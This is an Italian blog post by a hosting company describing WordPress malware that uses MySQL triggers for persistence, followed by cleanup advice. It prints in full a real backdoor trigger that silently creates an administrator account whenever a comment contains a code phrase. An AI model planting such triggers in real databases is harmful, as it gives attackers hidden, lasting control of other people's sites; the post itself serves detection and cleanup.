1 Dicembre 2022

Malware e Backdoor su WordPress utilizzando TRIGGER MySQL

Come gli hacker mantengono l’accesso alla nostra installazione WordPress utilizzando una backdoor MySQL

Nell’ultimo anno, c’è stata una tendenza crescente del malware WordPress che utilizza trigger SQL per nascondere query SQL dannose all’interno di database compromessi. Queste query inseriscono un utente a livello di amministratore nel database infetto ogni volta che viene soddisfatta la condizione di attivazione.

Ciò che rende questo particolarmente problematico per i proprietari di siti Web è che la maggior parte delle guide alla pulizia del malware si concentra sui file e sui dati del sito Web all’interno di tabelle di database specifiche, ad esempio wp_users , wp_options e wp_posts.

Se utilizzi un CMS popolare sul tuo sito Web (come WordPress), è probabile che utilizzi un database MySQL per l’archiviazione di dati importanti come le impostazioni e i contenuti del CMS (ad esempio i post di WordPress). Ciò significa che tutto ciò che può modificare il database MySQL può anche causare seri danni al sito Web, come l’iniezione di contenuti dannosi o addirittura l’eliminazione del contenuto del tuo sito Web.

Questo rischio per la sicurezza è uno dei motivi per cui al database MySQL sono assegnati nome utente e password separati (vedere il file wp-config.php ): questa funzione impedisce a qualcuno di interrogare in remoto il database MySQL senza le informazioni di accesso appropriate.

Poiché WordPress ha accesso alle informazioni di accesso tramite wp-config.php , è in grado di leggere e apportare modifiche al database definito all’interno del file di configurazione.

Sfortunatamente, dopo che gli aggressori ottengono l’accesso non autenticato, spesso possono leggere il file wp-config.php per apprendere le informazioni di accesso per il database del sito Web, che possono quindi essere utilizzate dal malware dell’attaccante per connettersi al database e apportare modifiche dannose.

Trigger SQL

Un trigger SQL è una procedura memorizzata che viene eseguita automaticamente quando vengono apportate modifiche specifiche al database.

Il trigger, nelle basi di dati, è una procedura che viene eseguita in maniera automatica in coincidenza di un determinato evento, come ad esempio la cancellazione di un record di una tabella. In questo modo si ha a disposizione una tecnica per specificare e mantenere vincoli di integrità anche complessi. I trigger permettono agli utenti di specificare vincoli di integrità più complessi dato che un trigger è essenzialmente una procedura PL/SQL (Oracle), Transact-SQL, ecc.

Tale procedura è quindi associata ad una tabella e viene automaticamente richiamata dal motore del database quando una certa modifica (o evento) avviene all’interno della tabella. Le modifiche sulla tabella possono includere operazioni insertupdate, e delete.

Sebbene abbiano molte applicazioni utili, abbiamo anche prove che i trigger SQL vengono utilizzati da malintenzionati per mantenere l’accesso non autorizzato dopo una compromissione. Per fare ciò, gli aggressori inseriscono un trigger SQL nel database di un sito Web compromesso e quando vengono soddisfatti criteri specifici o si verifica un evento, viene eseguita l’azione memorizzata dannosa.

Ad esempio, abbiamo trovato questo interessante trigger SQL backdoor nella tabella wp_comments sul database di un sito Web infetto:

/*!50003 CREATE*/ /*!50017 DEFINER=`root_ext`@`%`*/ /*!50003 TRIGGER `after_insert_comment` AFTER INSERT ON `meccanicainnovativa`.`wp_comments`
FOR EACH ROW BEGIN
IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `meccanicainnovativa`.`wp_users`);
SET @nextWpUsersID = @lastInsertWpUsersId + 1;
INSERT INTO `meccanicainnovativa`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', '[email protected]', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
INSERT INTO `meccanicainnovativa`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
INSERT INTO `meccanicainnovativa`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
END IF;
END */;;

Questo trigger SQL crea un utente amministratore dannoso ogni volta che un nuovo commento contenente le parole in codice ” are you struggling to get comments on your blog? ” ‘ viene inviato sul sito Web WordPress infetto.

Il trigger controlla la colonna comment_content nel database wp_comments , quindi non importa se il commento è approvato o in attesa. Una volta che il trigger SQL è attivo, inserisce un utente amministratore dannoso wpadmin con la data di registrazione contraffatta 2014-06-08 e l’indirizzo e-mail [email protected] [ com

Conclusione e passaggi di mitigazione

Quando un sito Web è stato compromesso, puoi scommettere che gli aggressori saranno alla ricerca di eventuali credenziali del database trovate in wp-config o altri file di configurazione CMS e può essere incredibilmente difficile identificare se l’hacker ha raccolto queste informazioni in qualsiasi momento post -infezione.

Se si verifica una compromissione, è necessario aggiornare le password nell’intero ambiente, inclusi i database. Trascurare questo passaggio post-hack può portare un utente malintenzionato ad accedere e modificare il tuo sito anche dopo che pensavi di aver ripulito l’infezione.

Se avete il dubbio che il vostro sito possa avere una backdoor di questo tipo, vi basta esportare il database tramite un dump .sql e cercare all’interno del file esportato la stringa TRIGGER.

Ovviamente non tutti i TRIGGER sono backdoor, come abbiamo detto prima i TRIGGER sono strumenti utili e legittimi; tuttavia, è anche vero che l’utilizzo di TRIGGER all’interno di installazioni WordPress è qualcosa di rarissimo e altamente inusuale.

I proprietari di siti Web che hanno subito una compromissione possono fare riferimento al nostro servizio su come pulire un sito Web compromesso per i passaggi per ripulire l’infezione. Se hai bisogno di una mano, possiamo aiutarti a ripulire qualsiasi malware e backdoor e proteggere il tuo sito.

Hai dei dubbi? Non sai da dove partire? Contattaci


Abbiamo tutte le risposte alle tue domande per aiutarti nella giusta scelta.

Chatta con noi

Chatta direttamente con il nostro supporto prevendita.

0256569681

Contattaci telefonicamente negli orari d’ufficio 9:30 – 19:30

Contattaci online

Apri una richiesta direttamente nell’area dei contatti.

INFORMAZIONI

ManagedServer.it è il principale provider italiano di soluzioni hosting ad alte performance. Il nostro modello di sottoscrizione ha costi contenuti e prevedibili, affinché i clienti possano accedere alle nostre affidabili tecnologie di hosting, server dedicati e cloud. ManagedServer.it offre, inoltre, eccellenti servizi di supporto e consulenza su Hosting dei principali CMS Open Source come WordPress, WooCommerce, Drupal, Prestashop, Magento.

SOLO UN ATTIMO !

Vorresti vedere come gira il tuo WooCommerce sui nostri sistemi senza dover migrare nulla ? 

Inserisci l'indirizzo del tuo sito WooCommerce e otterrai una dimostrazione navigabile, senza dover fare assolutamente nulla e completamente gratis.

No grazie, i miei clienti preferiscono il sito lento.
Scroll to Top